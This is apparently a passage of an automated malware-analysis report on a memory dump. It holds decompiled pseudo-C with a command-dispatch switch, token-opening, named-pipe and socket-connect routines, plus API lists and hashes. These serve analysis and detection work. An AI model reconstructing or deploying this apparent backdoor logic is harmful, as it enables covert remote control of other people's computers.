							goto L170;
						case 0x15:
							__ecx = E0086AA35(__ecx, __esi);
							goto L70;
						case 0x16:
							__eax = E008684C1(__eflags, __ecx, __esi);
							goto L69;
						case 0x17:
							__eax = E008683E7(__eflags, __ecx, __esi);
							goto L69;
						case 0x18:
							__edi = __esi;
							__eax = E008672ED(__esi, __esi, __ecx);
							goto L70;
						case 0x19:
							__eax = E008628C2(__eflags, __ecx, __esi);
							goto L69;
						case 0x1a:
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push(__ebp);
							__ebp = __esp;
							__esp = __esp - 0x800;
							__eax =  &_v2051;
							_v2052 = 0;
							E0087C290(__edi,  &_v2051, 0, 0x7ff) =  &_v2052;
							__eax = GetCurrentDirectoryA(0x800,  &_v2052);
							__eflags = __eax;
							if(__eax > 0) {
								__eax =  &_v2052;
								__eax = E008612CF(__ebx,  &_v2052,  &_v2052, 0x13);
							}
							__esp = __ebp;
							_pop(__ebp);
							return __eax;
							goto L170;
						case 0x1b:
							_push(0);
							goto L97;
						case 0x1c:
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push(__ebp);
							__ebp = __esp;
							__esp = __esp - 0x14;
							_push(__esi);
							__esi =  *0x897624;
							 &_v20 = E008615DB(__ebx, __eflags,  &_v20, 0x8000);
							_pop(__ecx);
							_pop(__ecx);
							while(1) {
								__eflags = __esi;
								if(__esi == 0) {
									break;
								}
								__eax = __esi + 0x2e;
								_push(__esi + 0x2e);
								_push( *((intOrPtr*)(__esi + 0x24)));
								 &_v20 = E0086167E( &_v20, "%d\t%d\t%s\n",  *__esi);
								__esi =  *(__esi + 0x1c);
							}
							 &_v20 = E008616E0( &_v20);
							 &_v20 = E008616DD( &_v20);
							__eax =  &_v20;
							__eax = E008616BD(__ebx,  &_v20);
							_pop(__esi);
							__esp = __ebp;
							_pop(__ebp);
							return __eax;
							goto L170;
						case 0x1d:
							__eax = E00865B53(__eflags, __ecx, __esi);
							goto L69;
						case 0x1e:
							_push(0);
							L66:
							_push(__esi);
							_push(__ecx);
							__eax = E00864403(__eflags);
							goto L157;
						case 0x1f:
							__ebx = 0;
							_push(0);
							__ebx = 1;
							goto L64;
						case 0x20:
							_push(1);
							goto L104;
						case 0x21:
							_push(0);
							L104:
							_push(__esi);
							__ecx = E00864757(__ecx, __ebx, __ecx);
							goto L69;
						case 0x22:
							__eax = E00862C4B(__eflags, __ecx, __esi);
							goto L69;
						case 0x23:
							__eax = E0086AC7C(__eflags, __ecx, __esi);
							goto L69;
						case 0x24:
							_push(0);
							goto L156;
						case 0x25:
							__eax = E0086728D(__eflags, __ecx, __esi);
							goto L69;
						case 0x26:
							__eax = E00862CE5(__eflags, __ecx, __esi);
							goto L69;
						case 0x27:
							__eax = E00864023(__eflags, __ecx, __esi);
							goto L69;
						case 0x28:
							__eax = E00863EE4(__ebx, __edi, __eflags, __ecx, __esi);
							goto L69;
						case 0x29:
							__eax = E00863DBE(__ebx, __eflags, __ecx, __esi);
							goto L69;
						case 0x2a:
							__eax = E00863E95(__ebx, __edi, __eflags, __ecx, __esi);
							goto L69;
						case 0x2b:
							__eax = E00862DA1(__eflags, __ecx, __esi);
							goto L69;
						case 0x2c:
							__eax = E0086AFC0(__edi, __eflags, __ecx, __esi);
							goto L69;
						case 0x2d:
							__eax = E0086307C(__ecx, __esi, __ecx);
							goto L70;
						case 0x2e:
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push(__ebp);
							__ebp = __esp;
							__eax =  *0x89319c;
							__esp = __esp - 0x204;
							_push(__edi);
							__eflags = __eax - 0xffffffff;
							if(__eax != 0xffffffff) {
								__eax = WaitForSingleObject(__eax, 0x3a98);
							}
							__eax =  *0x89306c;
							__eflags = __eax - 0xffffffff;
							if(__eax == 0xffffffff) {
								__eax = E00861EF5(1);
								goto L21;
							} else {
								__eflags = __eax;
								if(__eflags != 0) {
									__eax =  *0x89306c;
									__ecx =  &_v516;
									__edi = 0x200;
									 *0x897e90 =  *0x89306c;
									__eax = E0086A885(0x200, __eflags,  *0x89306c,  &_v516);
									_pop(__ecx);
									_pop(__ecx);
									__eflags = __eax;
									if(__eax != 0) {
										__eax =  &_v516;
										__edx = __eax + 1;
										do {
											__cl =  *__eax;
											__eax = __eax + 1;
											__eflags = __cl;
										} while (__cl != 0);
										__eax =  &_v516;
										__eax = E008612CF(__ebx,  &_v516,  &_v516, 0xf);
									}
								} else {
									__eax = GetLastError();
									__eax = E00861E97(0xc, __eax);
									_pop(__ecx);
									L21:
									_pop(__ecx);
								}
							}
							_pop(__edi);
							__esp = __ebp;
							_pop(__ebp);
							return __eax;
							goto L170;
						case 0x2f:
							__eax = 0;
							_push(0);
							__eax = 1;
							goto L98;
						case 0x30:
							_push("ab");
							L73:
							_push(__esi);
							_push(__ecx);
							__eax = E00862B59(__edx, __edi, __eflags);
							goto L157;
						case 0x31:
							__eax = E00866056(__ecx);
							goto L70;
						case 0x32:
							_push(0);
							L77:
							_push(__esi);
							_push(__ecx);
							__eax = E0086A0C3(__ecx, __edx);
							goto L157;
						case 0x33:
							0 = 1;
							__eflags = 1;
							_push(1);
							_push(1);
							goto L124;
						case 0x34:
							_push(1);
							goto L126;
						case 0x35:
							__eax = E008626C5(__ebx, __edx, __esi, __eflags, __ecx);
							goto L70;
						case 0x36:
							__eax = E00863F17(__eflags, __ecx, __esi);
							goto L69;
						case 0x37:
							__eax = E00863F9E(__eflags, __ecx, __esi);
							goto L69;
						case 0x38:
							__eax = E0086764B(__eflags, __ecx, __esi);
							goto L69;
						case 0x39:
							__eax = E008627C6(__eflags, __ecx, __esi);
							goto L69;
						case 0x3a:
							__eax = E008631C4(__ebx, __eflags, __ecx, __esi);
							goto L69;
						case 0x3b:
							__eax = E00862A5B(__eflags, __ecx, __esi);
							goto L69;
						case 0x3c:
							__eax = E00867326(__ecx, __esi);
							goto L69;
						case 0x3d:
							__eax = E00867228(__eflags, __ecx, __esi);
							goto L69;
						case 0x3e:
							__eax = E00861092(__eflags, __ecx, __esi);
							goto L69;
						case 0x3f:
							__ecx = E00861139(__ecx, __ecx, __eflags, __esi);
							goto L70;
						case 0x40:
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push(_t88);
							_t92 = _t91 - 0x14;
							_push(__edx);
							_t86 =  *0x8975ec;
							E008615DB(__ebx, _t95,  &_v20, 0x8000);
							while(_t86 != 0) {
								__eflags =  *_t86 - 1;
								if( *_t86 == 1) {
									E0086167E( &_v20, "%s\n", _t86 + 0x2004);
									_t92 = _t92 + 0xc;
								}
								_t86 =  *((intOrPtr*)(_t86 + 0x4004));
							}
							_t67 = E008616E0( &_v20);
							E008612CF(_t76, E008616DD( &_v20), _t67, _t86);
							return E008616BD(_t76,  &_v20);
							goto L170;
						case 0x41:
							__eax = E00866401(__eflags, __ecx, __esi);
							goto L69;
						case 0x42:
							_push(0);
							_push(1);
							goto L124;
						case 0x43:
							_push(0);
							L126:
							_push(0);
							L124:
							_push(__esi);
							_push(__ecx);
							__eax = E0086489B(__eflags);
							__esp = __esp + 0x10;
							goto L158;
						case 0x44:
							_push(1);
							goto L143;
						case 0x45:
							_push(0);
							L143:
							__ebx = 0;
							L64:
							_push(__esi);
							_push(__ecx);
							__eax = E008644BA(__ebx, __eflags);
							goto L157;
						case 0x46:
							_push(0);
							L83:
							_push(__esi);
							__ecx = E00864707(__ecx);
							goto L69;
						case 0x47:
							__eax = E0086755D(__eflags, __ecx, __esi);
							goto L69;
						case 0x48:
							_push(1);
							goto L148;
						case 0x49:
							_push(0);
							L148:
							_push(__esi);
							_push(__ecx);
							__eax = E0086461E(__eflags);
							goto L157;
						case 0x4a:
							_push(1);
							goto L151;
						case 0x4b:
							_push(0);
							L151:
							_push(__esi);
							_push(__ecx);
							__eax = E0086455F(__eflags);
							goto L157;
						case 0x4c:
							__eax = E008619B4(__edx, __eflags, __ecx, __esi);
							L69:
							_pop(__ecx);
							L70:
							_pop(__ecx);
							goto L158;
						case 0x4d:
							_push(1);
							L97:
							__eax = 0;
							__eflags = 0;
							L98:
							_push(__esi);
							_push(__ecx);
							__eax = E008659D9(__eax, __eflags);
							goto L157;
						case 0x4e:
							_push(0x100007f);
							L156:
							_push(__esi);
							_push(__ecx);
							__eax = E008671B7(__eflags);
							L157:
							__esp = __esp + 0xc;
							goto L158;
					}
				}
				L170:
			}

0x00867ea0
0x00867ea7
0x008681f4
0x008681f7
0x00867ead
0x00867ead
0x00000000
0x00867eb4
0x00867eb6
0x00867eb6
0x00867eb7
0x00000000
0x00000000
0x00000000
0x00000000
0x00867ed2
0x00867ed3
0x00867ed4
0x00862676
0x00862676
0x0086267c
0x00862689
0x00000000
0x00000000
0x00867edc
0x00000000
0x00000000
0x00867ee9
0x00000000
0x00000000
0x00867ec4
0x00000000
0x00000000
0x00867ef0
0x00000000
0x00000000
0x00867f03
0x00000000
0x00000000
0x00867f0b
0x00000000
0x00000000
0x00867f12
0x00000000
0x00000000
0x00867f20
0x00867f22
0x00867f23
0x00867f24
0x00866b2b
0x00866b2c
0x00866b2e
0x00866b34
0x00866b35
0x00866b36
0x00866b37
0x00866b39
0x00866b3b
0x00866b3d
0x00866b3f
0x00866b40
0x00866b41
0x00866b44
0x00866b47
0x00866b4a
0x00866b4f
0x00866b52
0x00866b55
0x00866b56
0x00866b57
0x00866b58
0x00866b5b
0x00866b60
0x00866b63
0x00866b66
0x00866b6b
0x00866b6d
0x00866b6f
0x00866b6f
0x00866b7a
0x00866b82
0x00866b8a
0x00866b8f
0x00866b91
0x00866b92
0x00866b94
0x00866b99
0x00866b9b
0x00866b9e
0x00866ba0
0x00866bba
0x00866bc0
0x00866bc1
0x00866bc6
0x00866bc8
0x00866bcd
0x00866bdb
0x00866be3
0x00866be5
0x00866be6
0x00866be9
0x00866bed
0x00866bf2
0x00866bf6
0x00866bf9
0x00866bfa
0x00866bff
0x00866c00
0x00866c06
0x00866c08
0x00000000
0x00866c0a
0x00866c0a
0x00866c0c
0x00866c0f
0x00866c10
0x00866c11
0x00866c16
0x00866c18
0x00866c27
0x00866c27
0x00866c2b
0x00866c1a
0x00866c1a
0x00866c20
0x00866c25
0x00000000
0x00000000
0x00000000
0x00000000
0x00866c25
0x00866c18
0x00866bca
0x00866bca
0x00866bca
0x00000000
0x00866bca
0x00866ba2
0x00866ba2
0x00866ba3
0x00866ba3
0x00866baa
0x00866bb0
0x00866bb5
0x00866c31
0x00866c32
0x00866c33
0x00866c34
0x00866c34
0x00866c35
0x00000000
0x00000000
0x00867f2d
0x00000000
0x00000000
0x00867f34
0x00867f36
0x00867f37
0x00867f38
0x00866d3e
0x00866d3f
0x00866d41
0x00866d47
0x00866d65
0x00866d65
0x00866d67
0x00000000
0x00000000
0x00866d4e
0x00866d52
0x00866d54
0x00866d56
0x00866d58
0x00866d5c
0x00866d5e
0x00866d5e
0x00866d5e
0x00866d5e
0x00866d5c
0x00866d56
0x00866d62
0x00866d62
0x00866d69
0x00866d6a
0x00000000
0x00000000
0x00867f3f
0x00000000
0x00000000
0x00867f46
0x00000000
0x00000000
0x00867f52
0x00867f54
0x00867f55
0x00867f56
0x00863d29
0x00863d2a
0x00863d30
0x00863d31
0x00863d33
0x00863d38
0x00863d50
0x00863d50
0x00863d52
0x00000000
0x00000000
0x00863d3c
0x00863d3e
0x00863d40
0x00863d43
0x00863d43
0x00863d43
0x00863d47
0x00863d4c
0x00863d4c
0x00863d4d
0x00863d4d
0x00863d54
0x00863d55
0x00863d56
0x00000000
0x00000000
0x00867f5e
0x00000000
0x00000000
0x00867f68
0x00867f6a
0x00867f6b
0x00867f6c
0x00865e4f
0x00865e50
0x00865e52
0x00865e53
0x00865e55
0x00865e5a
0x00865e5a
0x00865e5c
0x00865e5d
0x00000000
0x00000000
0x00867f72
0x00867f74
0x00867f75
0x00867f76
0x00865cd0
0x00865cd1
0x00865cd3
0x00865cd5
0x00865cd7
0x00865cd7
0x00865cd9
0x00865cde
0x00865cde
0x00865ce2
0x00000000
0x00865ce4
0x00865ce4
0x00865ce6
0x00865cf7
0x00865d10
0x00000000
0x00000000
0x00000000
0x00865ce6
0x00000000
0x00865ce8
0x00865ce8
0x00865ceb
0x00865cec
0x00865cec
0x00865cf4
0x00000000
0x00000000
0x00867f7c
0x00867f7d
0x00867f7e
0x0086a9c1
0x0086a9c2
0x0086a9c4
0x0086a9c5
0x0086a9c6
0x0086a9ce
0x0086a9db
0x0086a9dd
0x0086a9f6
0x0086a9f9
0x0086aa02
0x0086aa08
0x0086aa08
0x0086aa09
0x0086a9df
0x0086a9df
0x0086a9e5
0x0086a9ec
0x0086a9f2
0x0086a9f4
0x0086aa0a
0x0086aa11
0x0086aa2d
0x0086aa33
0x0086aa33
0x0086aa34
0x0086aa13
0x0086aa1e
0x0086aa24
0x0086aa29
0x0086aa29
0x0086aa2a
0x0086aa2a
0x00000000
0x00000000
0x00000000
0x0086a9f4
0x00000000
0x00000000
0x00867f84
0x00867f85
0x00867f86
0x0086a848
0x0086a84d
0x0086a84f
0x0086a852
0x0086a852
0x0086a858
0x0086a85f
0x0086a860
0x0086a866
0x0086a86c
0x0086a86e
0x0086a870
0x0086a871
0x0086a876
0x0086a876
0x0086a878
0x0086a87d
0x0086a87e
0x0086a87f
0x0086a880
0x0086a881
0x0086a882
0x0086a882
0x0086a883
0x0086a884
0x00000000
0x00000000
0x00867f8f
0x00000000
0x00000000
0x00867f9b
0x00000000
0x00000000
0x00867fa7
0x00000000
0x00000000
0x00867fb2
0x00867fb4
0x00000000
0x00000000
0x00867fc0
0x00000000
0x00000000
0x00867fca
0x00867fcb
0x00867fcc
0x00862bfb
0x00862bfc
0x00862bfe
0x00862c09
0x00862c12
0x00862c21
0x00862c2d
0x00862c33
0x00862c35
0x00862c3a
0x00862c41
0x00862c46
0x00862c49
0x00862c49
0x00862c4a
0x00000000
0x00000000
0x00867fd2
0x00000000
0x00000000
0x00867fe2
0x00867fe3
0x00867fe4
0x00865aeb
0x00865aec
0x00865aee
0x00865af1
0x00865af2
0x00865b01
0x00865b06
0x00865b07
0x00865b27
0x00865b27
0x00865b29
0x00000000
0x00000000
0x00865b0a
0x00865b0d
0x00865b0e
0x00865b1c
0x00865b21
0x00865b24
0x00865b30
0x00865b39
0x00865b44
0x00865b48
0x00865b50
0x00865b51
0x00865b51
0x00865b52
0x00000000
0x00000000
0x00867fec
0x00000000
0x00000000
0x00867ff6
0x00867ec6
0x00867ec6
0x00867ec7
0x00867ec8
0x00000000
0x00000000
0x00867ffd
0x00867fff
0x00868001
0x00000000
0x00000000
0x00868007
0x00000000
0x00000000
0x00868016
0x00868009
0x00868009
0x0086800c
0x00000000
0x00000000
0x0086801c
0x00000000
0x00000000
0x00868028
0x00000000
0x00000000
0x00868032
0x00000000
0x00000000
0x0086803b
0x00000000
0x00000000
0x00868047
0x00000000
0x00000000
0x00868053
0x00000000
0x00000000
0x0086805f
0x00000000
0x00000000
0x0086806b
0x00000000
0x00000000
0x00868077
0x00000000
0x00000000
0x00868083
0x00000000
0x00000000
0x0086808f
0x00000000
0x00000000
0x0086809a
0x00000000
0x00000000
0x008680a4
0x008680a5
0x008680a6
0x008630f4
0x008630f5
0x008630f7
0x008630fc
0x00863102
0x00863103
0x00863106
0x0086310e
0x0086310e
0x00863114
0x00863119
0x0086311c
0x00863184
0x00000000
0x0086311e
0x00863125
0x00863127
0x0086313a
0x0086313f
0x00863147
0x0086314c
0x00863151
0x00863156
0x00863157
0x00863158
0x0086315a
0x0086315c
0x00863162
0x00863165
0x00863165
0x00863167
0x00863168
0x00863168
0x00863171
0x00863178
0x0086317d
0x00863129
0x00863129
0x00863132
0x00863137
0x00863189
0x00863189
0x00863189
0x00863127
0x0086318a
0x0086318b
0x0086318b
0x0086318c
0x00000000
0x00000000
0x008680ac
0x008680ae
0x008680b0
0x00000000
0x00000000
0x008680b6
0x00867ef5
0x00867ef5
0x00867ef6
0x00867ef7
0x00000000
0x00000000
0x008680c1
0x00000000
0x00000000
0x008680cb
0x00867f14
0x00867f14
0x00867f15
0x00867f16
0x00000000
0x00000000
0x008680d4
0x008680d4
0x008680d5
0x008680d6
0x00000000
0x00000000
0x008680e6
0x00000000
0x00000000
0x008680ed
0x00000000
0x00000000
0x008680f9
0x00000000
0x00000000
0x00868105
0x00000000
0x00000000
0x00868111
0x00000000
0x00000000
0x0086811d
0x00000000
0x00000000
0x00868129
0x00000000
0x00000000
0x00868135
0x00000000
0x00000000
0x00868141
0x00000000
0x00000000
0x0086814d
0x00000000
0x00000000
0x00868159
0x00000000
0x00000000
0x00868166
0x00000000
0x00000000
0x00868170
0x00868171
0x00868172
0x008611de
0x008611e1
0x008611e4
0x008611e5
0x008611f4
0x00861220
0x008611fd
0x00861200
0x00861212
0x00861217
0x00861217
0x0086121a
0x0086121a
0x00861228
0x00861237
0x0086124a
0x00000000
0x00000000
0x0086817a
0x00000000
0x00000000
0x00868184
0x00868186
0x00000000
0x00000000
0x0086818d
0x008680e8
0x008680e8
0x008680d7
0x008680d7
0x008680d8
0x008680d9
0x008680de
0x00000000
0x00000000
0x00868194
0x00000000
0x00000000
0x0086819d
0x00868196
0x00868196
0x00867eb8
0x00867eb8
0x00867eb9
0x00867eba
0x00000000
0x00000000
0x008681a1
0x00867f48
0x00867f48
0x00867f4b
0x00000000
0x00000000
0x008681aa
0x00000000
0x00000000
0x008681b4
0x00000000
0x00000000
0x008681bf
0x008681b6
0x008681b6
0x008681b7
0x008681b8
0x00000000
0x00000000
0x008681c3
0x00000000
0x00000000
0x008681ce
0x008681c5
0x008681c5
0x008681c6
0x008681c7
0x00000000
0x00000000
0x008681d4
0x00867ee1
0x00867ee1
0x00867ee2
0x00867ee2
0x00000000
0x00000000
0x008681de
0x00867fd4
0x00867fd4
0x00867fd4
0x00867fd6
0x00867fd6
0x00867fd7
0x00867fd8
0x00000000
0x00000000
0x008681e5
0x008681ea
0x008681ea
0x008681eb
0x008681ec
0x008681f1
0x008681f1
0x00000000
0x00000000
0x00867ead
0x00000000

APIs

GetCurrentThread.KERNEL32 ref: 0086A9CE
OpenThreadToken.ADVAPI32(00000000), ref: 0086A9D5
GetCurrentProcess.KERNEL32(00000008,?), ref: 0086A9E5
OpenProcessToken.ADVAPI32(00000000), ref: 0086A9EC
CloseHandle.KERNEL32(?), ref: 0086AA02

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CurrentOpenProcessThreadToken$CloseHandle
String ID:
API String ID: 2405408533-0
Opcode ID: aed992edd77ac6bb3af5a093c321e8d49fd5e0cd345ec8e5d2579663c0389fb2
Instruction ID: 63cf3313901265bbb30e2c8e7742fc53ff04ef5fd32c22bef0ff2abbe21a2bd7
Opcode Fuzzy Hash: aed992edd77ac6bb3af5a093c321e8d49fd5e0cd345ec8e5d2579663c0389fb2
Instruction Fuzzy Hash: 15813C5121D619F6D42873B96C86FBB194CFB11BADF234AA7B206E4081CC67C849A1F3

Uniqueness

Uniqueness Score: -1.00%

Function 0086568A, Relevance: 7.6, APIs: 5, Instructions: 57
pipeCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0086568A() {
				void* __edi;
				void* __esi;
				intOrPtr _t16;
				signed int _t19;
				void* _t25;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t32;

				_t32 =  *0x897624;
				if(_t32 == 0) {
					L10:
					_t30 = 0;
					_t16 = _t32;
					if(_t32 == 0) {
						L17:
						return _t16;
					} else {
						goto L11;
					}
					do {
						L11:
						if( *((short*)(_t16 + 0x22)) != 1) {
							_t30 = _t16;
							_t16 =  *((intOrPtr*)(_t16 + 0x1c));
						} else {
							_push(_t16);
							_t39 = _t30;
							if(_t30 != 0) {
								 *((intOrPtr*)(_t30 + 0x1c)) =  *((intOrPtr*)(_t16 + 0x1c));
								E00874778(_t25, _t29, _t30, _t32, __eflags);
								_t16 =  *((intOrPtr*)(_t30 + 0x1c));
							} else {
								_t32 =  *((intOrPtr*)(_t16 + 0x1c));
								 *0x897624 = _t32;
								E00874778(_t25, _t29, _t30, _t32, _t39);
								_t16 = _t32;
							}
						}
					} while (_t16 != 0);
					goto L17;
				}
				do {
					if( *((short*)(_t32 + 0x22)) != 1) {
						goto L8;
					}
					_t19 =  *(_t32 + 0x20) & 0x0000ffff;
					if(_t19 != 0) {
						__eflags = _t19 - 1;
						if(__eflags != 0) {
							goto L8;
						}
						DisconnectNamedPipe( *(_t32 + 0x14));
						_push( *(_t32 + 0x14));
						L7:
						CloseHandle();
						goto L8;
					}
					CloseHandle( *(_t32 + 4));
					CloseHandle( *(_t32 + 8));
					CloseHandle( *(_t32 + 0x14));
					_push( *((intOrPtr*)(_t32 + 0x18)));
					goto L7;
					L8:
					_t32 =  *((intOrPtr*)(_t32 + 0x1c));
				} while (_t32 != 0);
				_t32 =  *0x897624;
				goto L10;
			}

0x0086568b
0x00865694
0x008656e1
0x008656e1
0x008656e3
0x008656e7
0x00865724
0x00865724
0x00000000
0x00000000
0x00000000
0x008656e9
0x008656e9
0x008656ee
0x00865719
0x0086571b
0x008656f0
0x008656f0
0x008656f1
0x008656f3
0x0086570b
0x0086570e
0x00865713
0x008656f5
0x008656f5
0x008656f8
0x008656fe
0x00865704
0x00865704
0x008656f3
0x0086571e
0x00000000
0x008656e9
0x0086569c
0x008656a1
0x00000000
0x00000000
0x008656a3
0x008656aa
0x008656c0
0x008656c4
0x00000000
0x00000000
0x008656c9
0x008656cf
0x008656d2
0x008656d2
0x00000000
0x008656d2
0x008656af
0x008656b4
0x008656b9
0x008656bb
0x00000000
0x008656d4
0x008656d4
0x008656d7
0x008656db
0x00000000

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00865B97,?,?,?,?,00867FF1,?,?,?,?,?,?,?), ref: 008656AF
CloseHandle.KERNEL32(?,?,00000000,00865B97,?,?,?,?,00867FF1,?,?,?,?,?,?,?), ref: 008656B4
CloseHandle.KERNEL32(?,?,00000000,00865B97,?,?,?,?,00867FF1,?,?,?,?,?,?,?), ref: 008656B9
DisconnectNamedPipe.KERNEL32(?,?,00000000,00865B97,?,?,?,?,00867FF1,?,?,?,?,?,?,?), ref: 008656C9
CloseHandle.KERNEL32(?,?,00000000,00865B97,?,?,?,?,00867FF1,?,?,?,?,?,?,?), ref: 008656D2

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CloseHandle$DisconnectNamedPipe
String ID:
API String ID: 2155524452-0
Opcode ID: 4647ca9a8b7cc31daa12b632cf631ef56f3b94a2b82c51964d17cfba82c3c07e
Instruction ID: 078bea123636899016813b4132925db26e47f58d992ba8ec105d0397e5a9c822
Opcode Fuzzy Hash: 4647ca9a8b7cc31daa12b632cf631ef56f3b94a2b82c51964d17cfba82c3c07e
Instruction Fuzzy Hash: 3911A036515E25CB8B32AF19EC00916BBF5FF64B60B5B4549E841DB624C770FC82CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0087D649, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0087D649(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t29;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x88f900);
				E00876FC0(__ebx, __edi, __esi);
				_t31 = E008796CA(__ebx, _t35);
				_t15 =  *0x891c94; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E008764C8(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x891b98; // 0x8d1608
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x891770;
								if(__eflags != 0) {
									_push(_t33);
									E00874778(_t25, _t29, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x891b98; // 0x8d1608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x891b98; // 0x8d1608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E0087D6E4();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00874D3C(_t29, 0x20);
				}
				return E00877005(_t33);
			}

0x0087d649
0x0087d649
0x0087d649
0x0087d649
0x0087d64b
0x0087d650
0x0087d65a
0x0087d65c
0x0087d664
0x0087d685
0x0087d68b
0x0087d68f
0x0087d692
0x0087d695
0x0087d69b
0x0087d69d
0x0087d69f
0x0087d6a2
0x0087d6a8
0x0087d6aa
0x0087d6ac
0x0087d6b2
0x0087d6b4
0x0087d6b5
0x0087d6ba
0x0087d6b2
0x0087d6aa
0x0087d6bb
0x0087d6c0
0x0087d6c3
0x0087d6c9
0x0087d6cd
0x0087d6cd
0x0087d6d3
0x0087d6da
0x0087d66c
0x0087d66c
0x0087d66c
0x0087d671
0x0087d675
0x0087d67a
0x0087d682

APIs

__getptd.LIBCMT ref: 0087D655

Part of subcall function 008796CA: __getptd_noexit.LIBCMT ref: 008796CD
Part of subcall function 008796CA: __amsg_exit.LIBCMT ref: 008796DA

__amsg_exit.LIBCMT ref: 0087D675
__lock.LIBCMT ref: 0087D685
InterlockedDecrement.KERNEL32(?), ref: 0087D6A2
InterlockedIncrement.KERNEL32(008D1608), ref: 0087D6CD

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 0707697049023144e248484136242de7af161700bdd4fcf08580778962fc5da3
Instruction ID: b28ac6e71f971722c5c015fcb7dca7e8750bf8503fd46fdef8145734586c0570
Opcode Fuzzy Hash: 0707697049023144e248484136242de7af161700bdd4fcf08580778962fc5da3
Instruction Fuzzy Hash: E101AD31905B16ABCB21BB6898497697B70FF11724F198006E80CE7298DB24E842CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 00862C75, Relevance: 7.5, APIs: 5, Instructions: 45
networkCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00862C75(signed int __eax, intOrPtr _a4, intOrPtr _a8) {
				char _v16;
				short _v18;
				char _v20;
				void* __esi;
				signed int _t9;
				short _t14;
				void* _t16;
				void* _t18;
				signed int _t19;

				_t9 = __eax;
				_push(0);
				_push(1);
				_push(2);
				L0088330A();
				_t19 = __eax;
				if(__eax != 0xffffffff) {
					_push(_a4);
					L008832F8();
					if(__eax == 0) {
						goto L1;
					}
					E0087B0A0(_t16, _t18, __eax,  &_v16,  *((intOrPtr*)( *((intOrPtr*)(__eax + 0xc)))),  *((short*)(__eax + 0xa)));
					_t14 = 2;
					_push(_a8);
					_v20 = _t14;
					L008832EC();
					_v18 = _t14;
					_push(0x10);
					_t9 =  &_v20;
					_push(_t9);
					_push(_t19);
					L00883310();
					if(_t9 == 0) {
						return _t19;
					}
					_push(_t19);
					L00883304();
				}
				L1:
				return _t9 | 0xffffffff;
			}

0x00862c75
0x00862c7c
0x00862c7e
0x00862c80
0x00862c82
0x00862c87
0x00862c8c
0x00862c93
0x00862c96
0x00862c9d
0x00000000
0x00000000
0x00862cad
0x00862cb7
0x00862cb8
0x00862cbb
0x00862cbf
0x00862cc4
0x00862cc8
0x00862cca
0x00862ccd
0x00862cce
0x00862ccf
0x00862cd6
0x00000000
0x00862ce0
0x00862cd8
0x00862cd9
0x00862cd9
0x00862c8e
0x00000000

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00862C82
gethostbyname.WS2_32(?), ref: 00862C96
htons.WS2_32(00862D59), ref: 00862CBF
connect.WS2_32(00000000,?,00000010), ref: 00862CCF
closesocket.WS2_32(00000000), ref: 00862CD9

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: edfdfe09d16d0150f70aaf7f5d73fd52a5298e5a904d0d717ac7273259e4ca04
Instruction ID: 322ab8f2b91da5b57c91ce3a83cc00362309ce69f5a1fe15e46bc5558b651557
Opcode Fuzzy Hash: edfdfe09d16d0150f70aaf7f5d73fd52a5298e5a904d0d717ac7273259e4ca04
Instruction Fuzzy Hash: B2F0443590092976DA2077B89C47FAE7668FF00B64F058651FD24EA1D2EBB4DA009397

Uniqueness

Uniqueness Score: -1.00%

Function 00874778, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00874778(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t24;
				void* _t26;

				_push(0xc);
				_push(0x88f5a8);
				_t8 = E00876FC0(__ebx, __edi, __esi);
				_t24 =  *((intOrPtr*)(_t26 + 8));
				if(_t24 == 0) {
					L9:
					return E00877005(_t8);
				}
				if( *0x89ae00 != 3) {
					_push(_t24);
					L7:
					_t8 = HeapFree( *0x89320c, 0, ??);
					_t32 = _t8;
					if(_t8 == 0) {
						_t10 = E0087625F(_t32);
						 *_t10 = E0087621D(GetLastError());
					}
					goto L9;
